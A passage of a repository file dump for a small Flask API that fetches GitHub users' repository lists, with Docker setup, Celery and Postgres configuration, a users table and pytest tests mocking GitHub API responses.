"709daaeff07c87660d022600523c17784f9fb34c", "content_id": "bbf5992c76d5e77cf48a94a6251f51aa84462f15", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Text", "length_bytes": 239, "license_type": "no_license", "max_line_length": 110, "num_lines": 14, "path": "/requirements.txt", "repo_name": "MikiZdanovich/Api_v2", "src_encoding": "UTF-8", "text": "Flask\nSQLAlchemy\nrequests\npsycopg2-binary\nFlask-Script\nFlask-Restplus\ngunicorn\ncelery\namqp\nredis\nWerkzeug==0.16.1 #should be removed from requirements when the issue with Flask_restpuls imports will be fixed\npytest\nalembic\nSQLALCHEMY_Utils" }, { "alpha_fraction": 0.709770143032074, "alphanum_fraction": 0.7528735399246216, "avg_line_length": 23.785715103149414, "blob_id": "f3e8ec4465236ed28374712a15b9dce5eb2d116a", "content_id": "3103f7ae5a5f085d02c142e996c4b9fbd8094900", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Dockerfile", "length_bytes": 348, "license_type": "no_license", "max_line_length": 81, "num_lines": 14, "path": "/Dockerfile", "repo_name": "MikiZdanovich/Api_v2", "src_encoding": "UTF-8", "text": "FROM python:3-slim\n\nMAINTAINER MikiZdanovich\n\nWORKDIR /api\n\nRUN pip install --upgrade pip\nCOPY ./requirements.txt ./requirements/\nRUN pip install -r ./requirements/requirements.txt\nCOPY alembic.ini ./\nCOPY alembic ./alembic\nCOPY test ./test\nADD ./backend ./backend\nCMD \"gunicorn -b 0.0.0.0:5000 --max-requests 1000 --timeout 60 backend.wsgi:app\"\n\n" }, { "alpha_fraction": 0.4934823215007782, "alphanum_fraction": 0.5549347996711731, "avg_line_length": 16.338708877563477, "blob_id": "b6ba1e0975471c1d97388dfb2afe134c386aaca6", "content_id": "fa720957494b8dc80d12559f7c20218718a29be9", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "YAML", "length_bytes": 1074, "license_type": "no_license", "max_line_length": 97, "num_lines": 62, "path": "/docker-compose.yml", "repo_name": "MikiZdanovich/Api_v2", "src_encoding": "UTF-8", "text": "version: '3.7'\n\nservices:\n db:\n image: postgres:latest\n restart: 'no'\n ports:\n - 5432:5432\n volumes:\n - postgres_data:/var/lib/postgresql/data/\n env_file:\n - .env.dev\n rabbit:\n hostname: rabbit\n image: rabbitmq:management\n env_file:\n - .env.dev\n ports:\n - 5673:5672\n - 15672:15672\n redis:\n image: redis:3.0-alpine\n command: redis-server\n volumes:\n - redis:/data\n ports:\n - 6379:6379\n app:\n build:\n context: ./\n dockerfile: Dockerfile\n command: gunicorn -b 0.0.0.0:5000 --reload --max-requests 1000 --timeout 60 backend.wsgi:app\n ports:\n - 5000:5000\n env_file:\n - ./.env.dev\n depends_on:\n - db\n\n worker:\n build:\n context: ./\n dockerfile: Dockerfile\n command: celery -A backend.make_celery worker -l info\n env_file:\n - .env.dev\n depends_on:\n - db\n - rabbit\n - redis\n\n nginx:\n build: backend/nginx\n ports:\n - 1337:80\n depends_on:\n - app\nvolumes:\n postgres_data:\n redis:\n backend:\n test:" }, { "alpha_fraction": 0.7105562090873718, "alphanum_fraction": 0.7150964736938477, "avg_line_length": 24.91176414489746, "blob_id": "0d80881b1ef89b06686d67c2d2231290413976e0", "content_id": "5872c0564c079e4bb0f3e79808f3ae6689b1d93a", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 881, "license_type": "no_license", "max_line_length": 78, "num_lines": 34, "path": "/backend/app/main/config.py", "repo_name": "MikiZdanovich/Api_v2", "src_encoding": "UTF-8", "text": "import os\n\n# uncomment the line below for postgres database url from environment variable\nbasedir = os.path.abspath(os.path.dirname(__file__))\npostgres_local_base = os.environ['DATABASE_URL']\npostgres_local_test_base = os.environ['TEST_BASE']\n\n\nclass Config:\n # uncomment the line below and set up Secret_key\n # SECRET_KEY = os.getenv('SECRET_KEY', 'my_precious_secret_key')\n DEBUG = False\n\n\nclass DevelopmentConfig(Config):\n DATABASE_URI = postgres_local_base\n DEBUG = True\n SQLALCHEMY_TRACK_MODIFICATIONS = False\n CELERY_BROKER_URL = 'amqp://rabbitmq:rabbitmq@rabbit:5672/'\n CELERY_RESULT_BACKEND = 'rpc://'\n TEST_DATABASE_URI = postgres_local_test_base\n\n\nclass ProductionConfig(Config):\n DEBUG = False\n DATABASE_URI = postgres_local_base\n\n\nconfig_by_name = dict(\n dev=DevelopmentConfig,\n prod=ProductionConfig\n)\n\n# key = Config.SECRET_KEY\n" }, { "alpha_fraction": 0.7264150977134705, "alphanum_fraction": 0.7264150977134705, "avg_line_length": 17.275861740112305, "blob_id": "a21feb7d160d28372d08380cd101c624f84ab459", "content_id": "2dac2f5cbc5e602231f62d57102051abcfcd86e9", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 530, "license_type": "no_license", "max_line_length": 63, "num_lines": 29, "path": "/backend/manage.py", "repo_name": "MikiZdanovich/Api_v2", "src_encoding": "UTF-8", "text": "import os\n\nfrom flask_script import Manager\n\nfrom backend.app.main.model.users import metadata\nfrom backend.app.main.views import user_bp\nfrom backend.apps import create_app\n\napplication = create_app(os.getenv('BOILERPLATE_ENV') or 'dev')\napplication.register_blueprint(user_bp)\n\napplication.app_context().push()\n\nmanager = Manager(application)\n\n\[email protected]\ndef run():\n application.run()\n\n\[email protected]\ndef create_db():\n metadata.drop_all()\n metadata.create_all()\n\n\nif __name__ == '__main__':\n manager.run()\n" }, { "alpha_fraction": 0.6127946376800537, "alphanum_fraction": 0.619528591632843, "avg_line_length": 32, "blob_id": "8e665cffc64433546a08567cb39ff7a6ce3d45c4", "content_id": "0829087b7038b1d6348f3ca976e2ce0ebab55c8a", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 297, "license_type": "no_license", "max_line_length": 57, "num_lines": 9, "path": "/backend/app/main/model/users.py", "repo_name": "MikiZdanovich/Api_v2", "src_encoding": "UTF-8", "text": "from sqlalchemy import Integer, String, Column, Table\n\nfrom backend.database import metadata\n\nuser = Table('users', metadata,\n Column('id', Integer, primary_key=True),\n Column('username', String(50), unique=True),\n Column('repositories', String)\n )\n" }, { "alpha_fraction": 0.6554054021835327, "alphanum_fraction": 0.6554054021835327, "avg_line_length": 17.5, "blob_id": "81e0d5fbe11e486831414770f6669ad7b6729d49", "content_id": "405c43ae3e4b8923b0d8ea9862475b1d7a3c554c", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 148, "license_type": "no_license", "max_line_length": 32, "num_lines": 8, "path": "/backend/celery_q/celeryconfig.py", "repo_name": "MikiZdanovich/Api_v2", "src_encoding": "UTF-8", "text": "task_serializer = 'json'\nresult_serializer = 'json'\naccept_content = ['json']\nenable_utc = True\n\ntask_routes = {\n 'tasks.add': 'low-priority',\n}\n" }, { "alpha_fraction": 0.6573982238769531, "alphanum_fraction": 0.6573982238769531, "avg_line_length": 24.174999237060547, "blob_id": "7d12250f705b93e76aa02443883a38ca8cf4b7f9", "content_id": "15c95a6a074730ed4309fbc24c41e3bcdc196798", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 1007, "license_type": "no_license", "max_line_length": 56, "num_lines": 40, "path": "/backend/apps.py", "repo_name": "MikiZdanovich/Api_v2", "src_encoding": "UTF-8", "text": "import os\n\nfrom celery import Celery\nfrom flask import Flask\n\nfrom backend.app.main.config import config_by_name\nfrom backend.database import configure_engine, metadata\n\n\ndef create_app(config_name):\n engine = configure_engine(os.getenv('DATABASE_URL'))\n app = Flask(__name__)\n app.config.from_object(config_by_name[config_name])\n metadata.bind = engine\n with app.app_context():\n return app\n\n\ndef celery_make(app):\n celery = Celery(\n app.import_name,\n backend=app.config['CELERY_RESULT_BACKEND'],\n broker=app.config['CELERY_BROKER_URL'],\n include='backend.app.main.service.user_service'\n )\n celery.conf.update(app.config)\n\n class ContextTask(celery.Task):\n def __call__(self, *args, **kwargs):\n with app.app_context():\n return self.run(*args, **kwargs)\n\n celery.Task = ContextTask\n return celery\n\n\ndef create_celery_app(config):\n app = create_app(config)\n celery = celery_make(app)\n return celery\n" }, { "alpha_fraction": 0.5645422339439392, "alphanum_fraction": 0.5761889219284058, "avg_line_length": 33.7303352355957, "blob_id": "d828153fd89744848a07e632a56b7f9255754dc8", "content_id": "72c188198254b7c98ebe59c19d0e871923d9e907", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 3091, "license_type": "no_license", "max_line_length": 106, "num_lines": 89, "path": "/test/test_get_repositories_service.py", "repo_name": "MikiZdanovich/Api_v2", "src_encoding": "UTF-8", "text": "import pytest\nimport requests\n\nfrom backend.app.main.service.get_repositories_service import parse_response, get_data_from_git_api\nfrom backend.app.main.util.exceptions import GitUserNotFound, GitHubServerUnavailable\n\n\n# Just for fun fixture\[email protected](autouse=True, params=[1])\ndef setup():\n print(f\"HeyHo, Fixture set up {1}\")\n yield\n print(f\"Buy, Fixture tear-down\")\n\n\nclass TestParseResponse:\n \"\"\"parse_response parse response from Git Api,\n and return List of repositories, or rise exception\"\"\"\n\n @pytest.mark.parametrize('response,result', [\n ({\"status\": 200, \"data\": [{'name': \"repo_one\"}, {'name': \"repo_two\"}]}, [\"repo_one\", \"repo_two\"]),\n ({\"status\": 200, \"data\": []}, [])\n ]\n )\n def test_pr_ok(self, response, result):\n assert parse_response(response) == result\n assert isinstance(parse_response(response), list)\n\n @pytest.mark.parametrize(\"exception,response\", [\n (GitHubServerUnavailable, {\"status\": 403, \"data\": [{\"name\": \"repo_one\"}]}),\n (GitHubServerUnavailable, {\"status\": 500, \"data\": [{\"name\": \"repo_one\"}]}),\n (GitUserNotFound, {\"status\": 404, \"data\": [{\"name\": \"repo_one\"}]}),\n (GitHubServerUnavailable, {\"status\": 505, \"data\": []})\n ]\n )\n def test_pr_not_ok(self, exception, response):\n with pytest.raises(exception):\n parse_response(response)\n\n\nclass TestGetDataFromGit:\n \"\"\"test_data_from_git_api accept Git username, make get request\n to Git api, and return Dict with status_code and List of user repositories\"\"\"\n\n def test_get_data_from_git_api_succed(self, monkeypatch):\n \"\"\"\n GIVEN a monkeypatched version of requests.get()\n WHEN the HTTP response is set to successful\n THEN check the HTTP response\n \"\"\"\n\n class MockResponseOk:\n def __init__(self):\n self.status_code = 200\n\n @staticmethod\n def json():\n return [{\"Test\": \"test\"}, {\"name\": [\"repo1\"]}]\n\n def mock_get(*args, **kwargs):\n return MockResponseOk()\n\n monkeypatch.setattr(requests, \"get\", mock_get)\n\n expected = {\"status\": 200, \"data\": [{\"Test\": \"test\"}, {\"name\": [\"repo1\"]}]}\n assert get_data_from_git_api(\"test\") == expected\n\n def test_get_data_from_git_api_failure(self, monkeypatch):\n \"\"\"\n GIVEN a monkeypatched version of requests.get()\n WHEN the HTTP response is set to failed\n THEN check the HTTP response\n \"\"\"\n\n class MockResponseFalse:\n def __init__(self):\n self.status_code = 404\n\n @staticmethod\n def json():\n return [{\"Test\": \"test\"}, {\"name\": [\"repo1\"]}]\n\n def mock_get(*args, **kwargs):\n return MockResponseFalse()\n\n monkeypatch.setattr(requests, \"get\", mock_get)\n\n expected = {\"status\": 404, \"data\": [{\"Test\": \"test\"}, {\"name\": [\"repo1\"]}]}\n assert get_data_from_git_api(\"test\") == expected\n" }, { "alpha_fraction": 0.6686747074127197, "alphanum_fraction": 0.6686747074127197, "avg_line_length": 19.75, "blob_id": "63dcdfe38f4e76878babffa5ee83a30d91d4e009", "content_id": "1d43d969e9fa00f41573910443a1b1a8693f74ec", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 166, "license_type": "no_license", "max_line_length": 65, "num_lines": 8, "path": "/backend/make_celery.py", "repo_name": "MikiZdanovich/Api_v2", "src_encoding": "UTF-8", "text": "import os\n\nfrom backend.apps import create_celery_app\n\ncelery = create_celery_app(os.getenv('BOILERPLATE_ENV') or 'dev')\n\nif __name__ == \"__main__\":\n celery.run()\n" }, { "alpha_fraction": 0.7647058963775635, "alphanum_fraction": 0.7647058963775635, "avg_line_length": 21.3125, "blob_id": "c037ad95dadd052dc0331293149d8de052a0ba6c", "content_id": "c54822a64bd162ce4097bfb1762c8a8ec3eb63d0", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 357, "license_type": "no_license", "max_line_length": 55, "num_lines": 16, "path": "/backend/database.py", "repo_name": "MikiZdanovich/Api_v2", "src_encoding": "UTF-8", "text": "from sqlalchemy import create_engine, MetaData\nfrom sqlalchemy.orm import sessionmaker, scoped_session\n\nsession_factory = sessionmaker()\n\nSession = scoped_session(session_factory)\n\nengine = None\nmetadata = MetaData()\n\n\ndef configure_engine(url):\n global engine\n engine = create_engine(url)\n session_factory.configure(bind=engine)\n return engine\n" } ]
19
Alekseysk/Lesson6
https://github.com/Alekseysk/Lesson6
612e3714fbb4fa2bc3abd43146855bf38acfcbcb
3b5edad057448f87e03fdcd38c86d45070a1c726
f10672777d466148c9b0d9fb4244d1c09fd1e7e2
refs/heads/master
2023-01-11T00:38:07.071864
2020-11-16T17:38:38
2020-11-16T17:38:38
313,376,934
0
0
null
null
null
null
null
[ { "alpha_fraction": 0.6541450619697571, "alphanum_fraction": 0.659326434135437, "avg_line_length": 39.657894134521484, "blob_id": "da8d8d491d3cd885927398bb58728a017d995030", "content_id": "0a6546bf33f573c6105985e67a7de2596c637572", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 2161, "license_type": "no_license", "max_line_length": 105, "num_lines": 38, "path": "/Task1.py", "repo_name": "Alekseysk/Lesson6", "src_encoding": "UTF-8", "text": "\"\"\"\nСоздать класс TrafficLight (светофор) и определить у него один атрибут color (цвет) и метод\nrunning (запуск). Атрибут реализовать как приватный. В рамках метода реализовать\nпереключение светофора в режимы: красный, желтый, зеленый. Продолжительность первого\nсостояния (красный) составляет 7 секунд, второго (желтый) — 2 секунды, третьего (зеленый) —\nна ваше усмотрение. Переключение между режимами должно осуществляться только в указанном\nпорядке (красный, желтый, зеленый). Проверить работу примера, создав экземпляр и вызвав\nописанный метод.\n\nЗадачу можно усложнить, реализовав проверку порядка режимов, и при его нарушении выводить\nсоответствующее сообщение и завершать скрипт.\n\"\"\"\n\nfrom time import sleep\n\n\nclass TrafficLight():\n __ord_color = ['красный', 'жёлтый', 'зелёный']\n __timers = [7, 2, 4]\n _color = __ord_color[0]\n \n def running(self, color):\n if (color in self.__ord_color) and \\\n (self.__ord_color.index(color) - self.__ord_color.index(self._color)) in [1, -2]:\n ltimer = self.__timers[self.__ord_color.index(self._color)]\n print(f'Please wait {ltimer} seconds, switch to {color} in progress', end='\\t')\n sleep(ltimer)\n print(f'... done!')\n self._color = color\n else:\n print('Wrong color or order!!!')\n \n \nseen_TL = TrafficLight()\n\ncolors = ['красный', 'жёлтый', 'красный', 'жёлтый', 'жёлтый', 'зелёный', 'красный', 'жёлтый', 'зелёный']\nfor color in colors:\n seen_TL.running(color)" }, { "alpha_fraction": 0.6237519979476929, "alphanum_fraction": 0.6332107186317444, "avg_line_length": 23.727272033691406, "blob_id": "12b4254a88d67527ff6a9f9d1b7a456f394714ce", "content_id": "fbc4b5276b18ac0acc66f2dc289177626261eaab", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 2401, "license_type": "no_license", "max_line_length": 91, "num_lines": 77, "path": "/Task4-5.py", "repo_name": "Alekseysk/Lesson6", "src_encoding": "UTF-8", "text": "\"\"\"\nРеализуйте базовый класс Car. У данного класса должны быть следующие атрибуты:\nspeed, color, name, is_police (булево). А также методы: go, stop, turn(direction),\nкоторые должны сообщать, что машина поехала, остановилась, повернула (куда). Опишите\nнесколько дочерних классов: TownCar, SportCar, WorkCar, PoliceCar. Добавьте в базовый\nкласс метод show_speed, который должен показывать текущую скорость автомобиля. Для классов\nTownCar и WorkCar переопределите метод show_speed. При значении скорости свыше 60 (TownCar)\nи 40 (WorkCar) должно выводиться сообщение о превышении скорости.\n\"\"\"\n\n\nclass Car:\n speed: int\n color: str\n name: str\n is_police: bool\n \n def __init__(self, speed, color, name, is_police):\n self.speed = speed\n self.color = color\n self.name = name\n self.is_police = is_police\n \n def go(self):\n print('Машинка поехала')\n \n def stop(self):\n print('Машинка остановилась')\n \n def turn(self, direction):\n print(f'Машинка повернула {direction}')\n \n def show_speed(self):\n print(f'Текущая скорость {self.speed}')\n\n\nclass TownCar(Car):\n \n def show_speed(self):\n print(f'Текущая скорость {self.speed}', end='\\t')\n if self.speed > 60:\n print('Превышаете!!!')\n else:\n print('Норм.')\n\n\nclass SportCar(Car):\n pass\n\n\nclass WorkCar(Car):\n \n def show_speed(self):\n print(f'Текущая скорость {self.speed}', end='\\t')\n if self.speed > 40:\n print('Превышаете!!!')\n else:\n print('Норм.')\n\n\nclass PoliceCar(Car):\n pass\n\n\nTC = TownCar(80, 'Чёрный', 'Toyota', False)\nSC = SportCar(120, 'Красный', 'Porshe', False)\nWC = WorkCar(35, 'Белый', 'Nissan', False)\nPC = PoliceCar(110, 'Белый', 'Shevrolet', True)\n\nTC.show_speed()\nSC.show_speed()\nWC.show_speed()\nPC.show_speed()\n\nSC.turn('налево')\nSC.go()\nSC.stop()" }, { "alpha_fraction": 0.6706896424293518, "alphanum_fraction": 0.699999988079071, "avg_line_length": 37.70000076293945, "blob_id": "7213c91ac3b149b6c5bf25dafe4c42ca0a5b4a56", "content_id": "4f880508da0bf3eebd66ea849af17fafd42d1bff", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 1677, "license_type": "no_license", "max_line_length": 95, "num_lines": 30, "path": "/Task2.py", "repo_name": "Alekseysk/Lesson6", "src_encoding": "UTF-8", "text": "\"\"\"\nРеализовать класс Road (дорога), в котором определить атрибуты: length (длина), width (ширина).\nЗначения данных атрибутов должны передаваться при создании экземпляра класса. Атрибуты сделать\nзащищенными. Определить метод расчета массы асфальта, необходимого для покрытия всего дорожного\nполотна. Использовать формулу: длина*ширина*масса асфальта для покрытия одного кв метра дороги\nасфальтом, толщиной в 1 см*число см толщины полотна. Проверить работу метода.\n\nНапример: 20м*5000м*25кг*5см = 12500 т\n\"\"\"\n\n# Я физик, уж извините, будут делать правильно, а не в килограммах на площадь...\n\nclass Road:\n __length: float\n __width: float\n __density: float = 1700 # кг/куб.м\n \n def __init__(self, length: float, width: float):\n self.__length = length\n self.__width = width\n \n def roadbed_mass(self, thickness):\n thickness = thickness / 100 # Толщина в метрах\n volume = self.__length * self.__width * thickness # В кубометрах\n mass = volume * self.__density # По объёму и плотности\n return mass\n\n\nmy_way = Road(5000, 20)\nprint(f'Требуется масса асфальта: {my_way.roadbed_mass(5) / 1000:.2f} тонн')" } ]
3
DanoBuck/PythonLabs
https://github.com/DanoBuck/PythonLabs
eafa4a0df93c28ce9f72735cd9c1f55550e9adc6
417602401d4557a254cf52231ddee8526cf3f3c0
694e7e91970800d7a7d6be3605154f5caa359371
refs/heads/master
2021-01-20T06:22:45.603479
2017-08-07T11:39:08
2017-08-07T11:39:08
89,869,672
1
0
null
null
null
null
null
[ { "alpha_fraction": 0.6274510025978088, "alphanum_fraction": 0.676896870136261, "avg_line_length": 26.302326202392578, "blob_id": "9eb0404c221dd01a1c9e68aeab91845b32a378d3", "content_id": "d00c55fcfdd2dfeab376782b25bd3d0700130892", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 1173, "license_type": "no_license", "max_line_length": 69, "num_lines": 43, "path": "/RemoveDuplicates.py", "repo_name": "DanoBuck/PythonLabs", "src_encoding": "UTF-8", "text": "# Function for remove duplicates\ndef removeDuplicates(listIn):\n nonDuplicated = []\n \n for x in listIn:\n if x not in nonDuplicated:\n nonDuplicated.append(x)\n \t \n print(sorted(nonDuplicated))\n\n\ndef remove_duplicates_recursively(list):\n return remove_duplicates_outer_loop(list, 0, [])\n\n\ndef remove_duplicates_outer_loop(list, i, return_list):\n if len(list) == 1:\n return list\n\n if i == len(list):\n return return_list\n\n return remove_duplicates_inner_loop(list, i, i + 1, return_list)\n\n\ndef remove_duplicates_inner_loop(list, i, j, return_list):\n if j == len(list):\n return_list.append(list[i])\n return remove_duplicates_outer_loop(list, i + 1, return_list)\n\n if list[i] == list[j]:\n return remove_duplicates_outer_loop(list, i + 1, return_list)\n\n return remove_duplicates_inner_loop(list, i, j + 1, return_list)\n\ninputs1 = [4,5,20,25,15,100,200,5,4,11,200,25,100,75]\nrecursive_removal = remove_duplicates_recursively(inputs1)\nprint(sorted(list(recursive_removal)))\n\n# convert input into a set and then back to a list\ninputs2 = [5,20,25,15,100,200,25,100,75]\nmySet = set(inputs2)\nprint(sorted(list(mySet)))" }, { "alpha_fraction": 0.5766192674636841, "alphanum_fraction": 0.6398104429244995, "avg_line_length": 30.700000762939453, "blob_id": "aefa9d3afb90e901ab81122f66fd18a0bed57cad", "content_id": "6ab44fea93865460ba9c4b8eccbd79e86bc4b8c5", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 633, "license_type": "no_license", "max_line_length": 47, "num_lines": 20, "path": "/WeightConversion.py", "repo_name": "DanoBuck/PythonLabs", "src_encoding": "UTF-8", "text": "def pounds_to_kilos(pounds):\n kg_conversion_rate = 0.453592\n converted = pounds * kg_conversion_rate\n return round(converted, 4)\n\n\ndef kilos_to_pounds(pounds):\n kg_conversion_rate = 0.453592\n converted = pounds / kg_conversion_rate\n return round(converted, 4)\n\nprint(\"*********LBS to KG*********\")\nprint(\"12 LBS to KG is\", pounds_to_kilos(12))\nprint(\"15 LBS to KG is\", pounds_to_kilos(15))\nprint(\"40 LBS to KG is\", pounds_to_kilos(40))\n\nprint(\"\\n*********KG to LBS*********\")\nprint(\"7.5 KG to LBS is\", kilos_to_pounds(7.5))\nprint(\"20 KG to LBS is\", kilos_to_pounds(20))\nprint(\"30 KG to LBS is\", kilos_to_pounds(30))" }, { "alpha_fraction": 0.5954089164733887, "alphanum_fraction": 0.6284074783325195, "avg_line_length": 21.14285659790039, "blob_id": "6a04f8f6b9059a39bda3d68b69f53ae5e3ab1cfe", "content_id": "d644cf0d150b7b9a5622b21406afa8fe93a754f7", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 1394, "license_type": "no_license", "max_line_length": 68, "num_lines": 63, "path": "/ListMultiplies.py", "repo_name": "DanoBuck/PythonLabs", "src_encoding": "UTF-8", "text": "from functools import reduce\n\n## REDUCE FUNCTION NEEDS 2 PARAMETERS TO DO ITS WORK\n## REMEMBER THIS\ndef multiplyItemsReduce(a, b):\n if a == 0 and b == 0:\n return 0\n elif a != 0 and b == 0:\n return a\n elif a == 0 and b != 0:\n return b\n else:\n return a * b\n\n\nprint(\"*****Reduce*****\")\nlist = [3,0,5]\nresult = reduce(multiplyItemsReduce, list)\nprint(result)\n\nlist = [2,4,5,0,0,0]\nresult = reduce(multiplyItemsReduce, list)\nprint(result)\n\n## NON REDUCE FUNCTION\ndef multiplyItemsInList(list):\n multiply = 1\n for i in list:\n if(i != 0):\n multiply *= i\n\n return multiply\n\nprint(\"\\n*****Non-Reduce*****\")\n\nlist = [3,0,5]\nprint(multiplyItemsInList(list))\n\nlist = [2,4,5,0]\nprint(multiplyItemsInList(list))\n\n# Filtering can remove 0's from the list and then apply a function\nprint(\"\\n*****Filtering*****\")\nresult = reduce(multiplyItemsReduce, filter(lambda i: i != 0, list))\nprint(result)\n\nlist = [3,0,5]\nresult = reduce(multiplyItemsReduce, filter(lambda i: i != 0, list))\nprint(result)\n\nprint(\"\\n*****Multiplying Recursively*****\")\ndef multiplyRecursively(list):\n if len(list) == 0:\n return 1\n if list[0] != 0:\n return list[0] * multiplyRecursively(list[1::])\n else:\n return multiplyRecursively(list[1::])\n\nlist = [2,4,5,0]\nprint(multiplyRecursively(list))\nlist = [3,0,5]\nprint(multiplyRecursively(list))" }, { "alpha_fraction": 0.6308049559593201, "alphanum_fraction": 0.6640866994857788, "avg_line_length": 30.9135799407959, "blob_id": "36a578ed1392db5d561256300834b968f7ed5275", "content_id": "3ce559061a86d18ab04bd0833f0ccf880ce72993", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 2604, "license_type": "no_license", "max_line_length": 106, "num_lines": 81, "path": "/CA3_X00109141.py", "repo_name": "DanoBuck/PythonLabs", "src_encoding": "UTF-8", "text": "# CA 3\n# Daniel Buckley\n# X00109141\n\nfrom functools import reduce\n\ndef convertEurosToOther(ammount, currency):\n euro_to_us_dollars = 1.09105\n euro_to_pounds = 0.844123\n euro_to_candian = 1.49805\n if str.upper(currency) == \"CANADIAN\":\n return round(ammount * euro_to_candian, 2)\n elif str.upper(currency) == \"US DOLLAR\":\n return round(ammount * euro_to_us_dollars, 2)\n elif str.upper(currency) == \"POUNDS\":\n return round(ammount * euro_to_pounds, 2)\n else:\n return 0\n\nprint(\"€10 to Us dollars $\",convertEurosToOther(10, \"US DOLLAR\"))\nprint(\"€10 to Candanian dollar $\",convertEurosToOther(10, \"CANADIAN\"))\nprint(\"€10 to Pounds £\",convertEurosToOther(10, \"POUNDS\"))\n\ndef convert_anything_to_euro(ammount, currency):\n if str.upper(currency) == \"US DOLLARS\":\n us_to_euros = 0.92\n return round(ammount * us_to_euros, 2)\n elif str.upper(currency) == \"POUNDS\":\n pounds_to_euros = 1.18\n return round(ammount * pounds_to_euros, 2)\n elif str.upper(currency) == \"CANADIAN\":\n canadian_to_euro = .67\n return round(ammount * canadian_to_euro, 2)\n else:\n return 0\nprint()\nprint(\"$10 to Euros €\", convert_anything_to_euro(10, \"US DOLLARS\"))\nprint(\"$10 Canadian to Euros €\", convert_anything_to_euro(10, \"CANADIAN\"))\nprint(\"£10 to Euros €\",convert_anything_to_euro(10, \"POUNDS\"))\n\ndef debit_account(account_list, amount):\n if amount > 0:\n account_list.append(amount)\n return account_list\n\ndef credit_account(ammount, account):\n if ammount < 0:\n account.append(ammount)\n return account\n\ndef calculateBalance(account):\n credit = 0\n for i in account:\n if i < 0:\n credit += i\n return credit\n\nprint()\n# -50 debited\neuro_bank_account = [100, 200, -50]\neuro_bank_account = debit_account(euro_bank_account, 10)\nprint(\"Value in account is now €\", euro_bank_account, \"after debit\")\neuro_bank_account = credit_account(-50, euro_bank_account)\nprint(\"Value in account is now €\", euro_bank_account, \"after inertion\")\nprint(\"This account owes: €\", calculateBalance(euro_bank_account))\n\nprint()\nconvert_list_into_us_dollars = list(map(lambda i: convertEurosToOther(i, \"US DOLLAR\"), euro_bank_account))\nprint(\"LIST IN EUROS\", euro_bank_account)\nprint(\"LIST IN DOLLARS\", convert_list_into_us_dollars)\n\ndef format_helper(i, j):\n # Almost got it\n return \"debited: \" + str(i) + \" Credited:\" + str(j)\n\n\ndef format_account(account):\n string = reduce(lambda i,j: format_helper(i, j), euro_bank_account)\n return string\n\nprint(format_account(euro_bank_account))" }, { "alpha_fraction": 0.6417233347892761, "alphanum_fraction": 0.6507936716079712, "avg_line_length": 31.703702926635742, "blob_id": "49422b4a3e93b4e52ae63aa794158ac61ea3ce11", "content_id": "3a2df93fd4dfeec7c573e4b07d6a5eccdf311a59", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 882, "license_type": "no_license", "max_line_length": 108, "num_lines": 27, "path": "/WordCount.py", "repo_name": "DanoBuck/PythonLabs", "src_encoding": "UTF-8", "text": "from functools import reduce\n\ndef countWordsReduce(a, b):\n return a + 1\n\nlistOfWords = [\"I\", \"went\", \"to\", \"the\", \"shops\", \"and\", \"this\", \"is\", \"great\"]\nresult = reduce(countWordsReduce, filter(lambda i: i != \"the\" and i != \"is\" and i != \"and\", listOfWords), 0)\n\nprint(\"RESULT USING REDUCE AND FILTER:\", result)\n\ndef countWordIterative(listOfWords):\n count = 0\n for i in listOfWords:\n if i != \"the\" and i != \"and\" and i != \"is\":\n count += 1\n\n return count\n\nprint(\"\\nRESULT USING ITERATIVE APPROACH:\", countWordIterative(listOfWords))\n\ndef countWordsRecursively(wordList):\n wordList = list(filter(lambda i: i != \"the\" and i != \"and\" and i != \"is\", wordList))\n if len(wordList) == 0:\n return 0\n return 1 + countWordsRecursively(wordList[1::])\n\nprint(\"\\nRESULT USING RECURSIVE APPROACH WITH FILTERING:\", countWordsRecursively(listOfWords))" }, { "alpha_fraction": 0.6758409738540649, "alphanum_fraction": 0.7461773753166199, "avg_line_length": 22.428571701049805, "blob_id": "f1c20d96bc3e80ec762ad8eb75831a6c815aa423", "content_id": "79f80b78c1ae0d02e5a66bffb003bf88ba23dc9d", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 327, "license_type": "no_license", "max_line_length": 32, "num_lines": 14, "path": "/PerfectNumber.py", "repo_name": "DanoBuck/PythonLabs", "src_encoding": "UTF-8", "text": "def isPerfectNumber(number):\n\tresult = 0\n\tfor i in range(1, number):\n\t\tif number % i == 0:\n\t\t\tresult += i\n\treturn result == number\n\t\nprint(isPerfectNumber(6))\nprint(isPerfectNumber(5))\nprint(isPerfectNumber(28))\nprint(isPerfectNumber(496))\nprint(isPerfectNumber(8))\nprint(isPerfectNumber(8128))\nprint(isPerfectNumber(33550336))" }, { "alpha_fraction": 0.6626983880996704, "alphanum_fraction": 0.6726190447807312, "avg_line_length": 34.13953399658203, "blob_id": "bb1c714ed33eca6ff1a93f10f1aa69841eb5317f", "content_id": "637718ec180bd60f27998bf920f8953f0a0c7b94", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 1512, "license_type": "no_license", "max_line_length": 108, "num_lines": 43, "path": "/Palindrome.py", "repo_name": "DanoBuck/PythonLabs", "src_encoding": "UTF-8", "text": "def isPalindromeIterative(word):\n removeSpacesHolder = 